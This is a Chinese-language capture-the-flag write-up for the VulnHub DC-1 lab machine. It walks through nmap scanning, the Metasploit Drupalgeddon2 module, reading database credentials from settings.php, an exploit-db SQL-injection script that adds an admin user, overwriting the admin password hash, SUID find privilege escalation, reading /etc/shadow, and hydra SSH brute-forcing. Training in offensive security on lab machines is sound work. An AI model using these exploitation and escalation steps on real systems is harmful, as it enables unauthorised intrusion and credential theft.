目录
三、网站目录扫描
0X00 靶机的环境搭配
攻击机(Kali):192.168.226.129
靶机(DC-1): 192.168.226.131(未知)
靶机地址: DC: 1 ~ VulnHub
0X01信息收集
一、IP扫描
nmap -sn 192.168.226.0/24
找到kali的IP地址,用nmap扫描同一网段找到靶机的IP
一般扫描出来的在中间,而129是kali的,所以可以确定的是靶机的地址是192.168.226.131
通过mac地址也能确定
二、端口扫描
IP地址拿到手让我们kk开放了哪些端口
nmap -T4 -sV -O -A -p 80,445,22,139 192.168.226.131
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p-(全部端口)
我们发现80、22、111端口、
80端口打开所以可以访问网站 22号端口代表可以访问ssh服务(远程连接)
三、网站目录扫描
dirb http://192.168.226.131
四、查看网站结构
使用Firefox插件Wappalyzer查看到如下网页信息
# 三大PHP CMS网站:Drupal、 Wordpress、Joomla
发现了3个重要信息 服务器采用的是drupal内容管理系统且版本低,可以作为渗透的方向
由于不知道账号密码不建议采用sql注入
五、进一步信息收集
robots.txt 互联网道德协议,约定爬虫哪些东西不能爬取,但是不能爬取也暴露了哪些就是重要信息,一般存放在根目录下
知道了Drupal的版本为7.X后,就可以开始进行漏洞利用了,Drupal 7.X版本有远程代码执行漏洞
六、查询攻击方式
0X02 开始渗透
一、flag1
1.1 漏洞搜索
打开msf 输入msfconsole、搜索search drupal漏洞
msfconsole 打开msf
search drupal 搜索drupal漏洞
1.2 漏洞选择
选择2018年的载荷由第二部份的信息收集得出
查看需要设置的参数,yes的即为需要设置的,其他都设置好了,在这里只用设置RHOSTS
use exploit/unix/webapp/drupal_drupalgeddon2 #多次实验发现只有这个能用
show options 查看需要设置的参数,yes的即为需要设置的,其他都设置好了,在这里只用设置RHOSTS
1.3 开始攻击
输入靶机IP地址,开始攻击
set RHOSTS 192.168.226.131 靶机的IP
exploit 开始执行
1.4 进一步信息收集
取得meterpreter,拥有了部分操控权限,让我们看看有什么
找到了flag1打开kk
翻译为 每个好的CMS都需要一个配置文件——你也是。
二、flag2
1.1 查看配置文件
meterpreter > cat /var/www/sites/default/settings.php
drupal的配置文件在网站根目录下的/site/defaultx下的setting.php文件中
在这里我们找到了3样东西 flag2、提示:暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)。你能用这些证件做什么?数据库信息
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t', #下文用的数据访问密码
'host' => 'localhost',
三、flag3
meterpreter > shell #启动shell 执行行命令
Process 3615 created.
Channel 2 created.
python -c 'import pty;pty.spawn("/bin/bash")' #开启反弹shellwww-data@DC-1:/var/www$ cat /var/www/includes/bootstrap.inc | grep VERSION
#查看版本信息为Drupal的7.24版本
msf6 > searchsploit drupal #新建一个msf查看该版本的漏洞,选择7.31版本以下的漏洞
我们有两种方法,一种是增加一个管理员
在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号
3.1 方法一
3.1-1 SQL注入管理员用户
┌──(root㉿kali)-[~]
└─# python -V 这条攻击载荷需要在python2的环境下执行,新版本kali需要手动切换版本update-alternatives --list python 查看所有python版本
update-alternatives --install /usr/bin/python python /usr/bin/python2 100
update-alternatives --install /usr/bin/python python /usr/bin/python3 150
#设置python2,3进入手动选择
update-alternatives --config python 手动选择python版本
┌──(root㉿kali)-[~]
└─# python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.238.133 -u admin2 -p admin2 # SQL注入个管理员账户
3.1-2 数据库访问
meterpreter >mysql -udbuser -pR0ck3t
[-]unknown command :mysql -udbuser -pr0ck3t #进去数据库失败
meterpreter > shell
Process 3615 created.
Channel 2 created.netstat -ano #分析原因,数据库只允许本地连接
3.1-3 反弹shell连接数据库
我们查看到 3306号端口只允许本地访问,而3306是mysql的默认端口看来我们更加得要获取一个交互式shell了,我们用python做一个反弹shell,如果执行不了先退出shell(ctrl+c) 在重新进入shell执行
meterpreter > shell #启动shell 执行行命令
Process 3615 created.
Channel 2 created.
python -c 'import pty;pty.spawn("/bin/bash")'#获取交互式shell,使其可执行MySQL语句
www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t #进入MySQL
3.1-4 查询管理员账户
mysql> show databases; 显示所有数据库
mysql> use drupaldb; 选择当前数据库为dr库
mysql> show tables; 显示所以数据表
mysql> select * from users; 显示users表中所有内容,查找管理员账户#我们发现了新增的管理员账户,也可以登陆网页是否成功查看
3.2 方法二
3.2-1 drupal的加密
用drupal的加密脚本加密,脚本在根目录下的scripts
ctrl+c 退出MySQL
meterpreter > shell #重新进入shellProcess 3708 created.
Channel 2 created.
python -c 'import pty; pty.spawn("/bin/bash")' 重新取得交互式shell
www-data@DC-1:/var/www$ php scripts/password-hash.sh xinmima#后面的是你设置的密码
3.2-2 重新进入数据库改写密码
www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t 进入MYSQL
mysql>use drupaldb; 进入数据库
update drupaldb.users set pass="$S$Dxnx8JJtN4p5DGak1wRif7p.aln.VeeNp0bPNuZo4tZEjLyq8GHL" where name="admin"; #第一段接新密码,第二段接从aln前三位开始到最后
<f7p.aln.VeeNp0bPNuZo4tZEjLyq8GHL" where name="admin";
使用获取得到的管理员登录浏览器找到flag3
四、flag4
4.1 查看flag4文件
flag3的信息中提到了passwd和shadow,很明显就是/etc/passwd和/etc/shadow
,还提到了find、perms、-exec
,这几个是提权用的。
ctrl+c 退出MySQL
meterpreter > shell #重新进入shellProcess 3708 created.
Channel 2 created.
python -c 'import pty; pty.spawn("/bin/bash")' #重新取得交互式shellwww-data@DC-1:/var/www$ find / -name "*flag*" #查找flag文件
查看flag4文件失败,提醒我们要切换用户为root查看
4.2 影子文件提权
我们来查看提示的/etc/passwd和/etc/shadow
的内容。需要提升权限
查找具有SUID权限的文件,4000是SUID的代号
SUID文件:给予访问者这个文件的临时权限,如果权限为root的话当访问者调用这个程序时访问者权限临时变为root 我们看到find这个命令刚好是SUID文件,所以我们可以通过find提权(flag3也有提示)
www-data@DC-1:/var/www$ find / -perm -4000 #查找suid权限的命令
www-data@DC-1:/var/www$ find ./ aaa -exec '/bin/sh' \; #find提权
find ./ aaa -exec '/bin/sh' \;
#
4.3 查看shadow和passwd
# cat /etc/shadow #flag4是一个用户
# cat /etc/passwd #找到了flag4 这个用户,并且它有/bin/bash权限,所以可以用来提权它,使用find命令查找有特殊权限suid的命令
4.4 ssh连接
前面nmap扫描的时候发现了 ssh 服务,现在又发现了 flag4 用户,所以尝试使用hydra
进行密码的暴力猜解 找到密码orange
┌──(root㉿kali)-[~]
└─# sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz 192.168.238.133 ssh使用得到用户名密码【 flag4/orange】
登录靶机也可以用kali远程连接ssh flag4@192.168.226.131
我们发现是发现是“$”(普通权限),而不是“#”(root权限),需要使用find命令提权为root
4.4 查看flag4
flag4@DC-1:~$ ls
flag4.txt
flag4@DC-1:~$ cat flag4.txt查看找到flag4.txt文件提示还有一个在根目录下
五、flag5
由前面知影子文件打不开所以需要提权
flag4@DC-1:~$ find ./ aaa -exec '/bin/sh' \;
# whoami
root
# cd /root
# ls
thefinalflag.txt
# cat thefinalflag.txt
Well done!!!!Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
#
0X03 总结
一、夺旗介绍
flag1 | 根目录下/var/www | 用msf的2018模块入侵 |
flag2 | 根目录下/site/defaultx | cat查看 |
flag3 | 网页content里看到 | 用获取到账号密码登录 |
flag4 | /home/flag4 | find / -name "*flag" |
thefinalflag.txt | /root | find / -name "*flag" |
二、知识点
2.1 知识小点
/etc/passwd 是一个文件。它存储用户帐户信息。它包含系统帐户的列表,为每个帐户提供一些有用的信息,如用户 ID、组 ID、主目录、shell 等、shadow文件存储Linux用户的密码信息,只有root用户有权限读取此文件
SUID 给予访问者文件的权限,4000是SUID的代码,所以可以用find提权
find
命令配合-exec
选项提权;在执行这条指令必须指定外壳为/bin/sh
,经过尝试/bin/bash
等其他外壳拿到的不是root权限。name后跟一个文件名,可以指定自己创建的 touch 1
2.2 数据库密码分析
update drupaldb.users set pass="$S$Dxnx8JJtN4p5DGak1wRif7p.aln.VeeNp0bPNuZo4tZEjLyq8GHL" where name="admin"; #第一段接新密码,第二段接从aln前三位开始到最后
<f7p.aln.VeeNp0bPNuZo4tZEjLyq8GHL" where name="admin";
三、报错分析
新版kali默认用的是python3需要手动切换到python2才能用sql注入管理员用户
┌──(root㉿kali)-[~]
└─# python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.238.133 -u admin1 -p admin1
File "/usr/share/exploitdb/exploits/php/webapps/34992.py", line 240
print "[!] VULNERABLE!"
^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("[!] VULNERABLE!")?